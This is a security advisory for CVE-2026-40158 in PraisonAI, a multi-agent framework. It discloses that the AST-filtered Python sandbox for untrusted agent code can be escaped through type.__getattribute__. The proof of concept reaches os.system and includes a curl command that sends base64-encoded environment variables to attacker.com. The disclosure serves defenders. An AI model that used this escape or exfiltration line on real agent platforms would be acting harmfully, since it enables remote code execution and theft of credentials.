CVE-2026-40158: PraisonAI has Improper Control of Generation of Code ('Code Injection') and Protection Mechanism Failure in praisonai
PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.getattribute trampoline, allowing arbitrary code execution when running untrusted agent code. The executecodedirect function in praisonaiagents/tools/pythontools.py uses AST filtering to block dangerous Python attributes like subclasses, globals, and bases. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string 'subclasses' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.
Other sources
PraisonAI's AST-based Python sandbox can be bypassed using type.getattribute trampoline, allowing arbitrary code execution when running untrusted agent code.
Description
The executecodedirect function in praisonaiagents/tools/pythontools.py uses AST filtering to block dangerous Python attributes like subclasses, globals, and bases. However, the filter only checks ast.Attribute nodes, allowing bypass via:
The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.
python type.getattribute(obj, 'subclasses') # Bypasses filter
The string 'subclasses' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.
Proof of Concept
python This code bypasses the sandbox and achieves RCE t = type intcls = t(1)
Bypass blocked bases via type.getattribute bases = t.getattribute(intcls, 'bases') objcls = bases[0]
Bypass blocked subclasses subclassesfn = t.getattribute(objcls, 'subclasses') allsubclasses = subclassesfn()
Find wrapclose class for c in allsubclasses: if t.getattribute(c, 'name') == 'wrapclose': # Get init.globals via bypass init = t.getattribute(c, 'init') glb = type(init).getattribute(init, 'globals') # Get system function and execute system = glb['system'] system('curl https://attacker.com/steal --data "$(env | base64)"')
---
Impact
This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.
An attacker can:
Access sensitive data such as environment variables, API keys, and local files Execute arbitrary system commands Modify or delete files on the system
In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.
---
Affected Code
python praisonaiagents/tools/pythontools.py (approximate) def executecodedirect(code, ...): tree = ast.parse(code) for node in ast.walk(tree): # Only checks ast.Attribute nodes if isinstance(node, ast.Attribute) and node.attr in blockedattrs: raise SecurityError(...) # Bypass: string arguments are not checked exec(compiled, safeglobals)
Reporter: Lakshmikanthan K (letchupkt)
— GitHub